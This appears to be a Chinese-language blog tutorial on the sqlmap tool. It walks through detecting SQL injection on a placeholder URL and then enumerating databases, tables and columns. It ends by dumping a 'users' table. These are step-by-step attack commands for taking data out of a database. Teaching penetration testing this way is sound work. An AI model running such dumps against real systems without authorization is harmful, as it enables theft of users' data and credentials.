一、sqlmap简介

sqlmap 是一个强大的开源工具,用于自动化检测和利用SQL注入漏洞。它支持多种数据库类型,包括MySQL、Oracle、PostgreSQL、SQL Server等。sqlmap能够帮助渗透测试人员快速检测注入点、获取数据库结构、甚至直接获取数据库中的敏感数据。

二、sqlmap注入检测

基本用法

使用-u参数指定目标URL,使用--batch采用默认配置

1
sqlmap -u "http://example.com/vulnerable.php?id=1" --batch

通过HTTP请求文件检测

1
sqlmap -r request.txt  --batch

request.txt为请求头和请求体,例如:

1
2
3
4
5
6
7
POST /login.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=12345

高级选项

  • --level:指定检测级别,数值越高检测越深入(1-5,默认1)
  • --risk:设置攻击风险等级(1-3,默认1)

三、sqlmap获取数据

假设目标URL为http://example.com/vulnerable.php?id=1,以下步骤展示了如何利用sqlmap来导出数据库信息:

1. 测试注入点

1
sqlmap -u "http://example.com/vulnerable.php?id=1" --batch

2. 列出数据库

1
sqlmap -u "http://example.com/vulnerable.php?id=1" --dbs

3. 选择数据库并获取表

1
sqlmap -u "http://example.com/vulnerable.php?id=1" -D target_db --tables

4. 选择表并获取字段

1
sqlmap -u "http://example.com/vulnerable.php?id=1" -D target_db -T users --columns

5. 导出表数据

1
sqlmap -u "http://example.com/vulnerable.php?id=1" -D target_db -T users --dump

这条命令会从users表中提取并显示所有数据。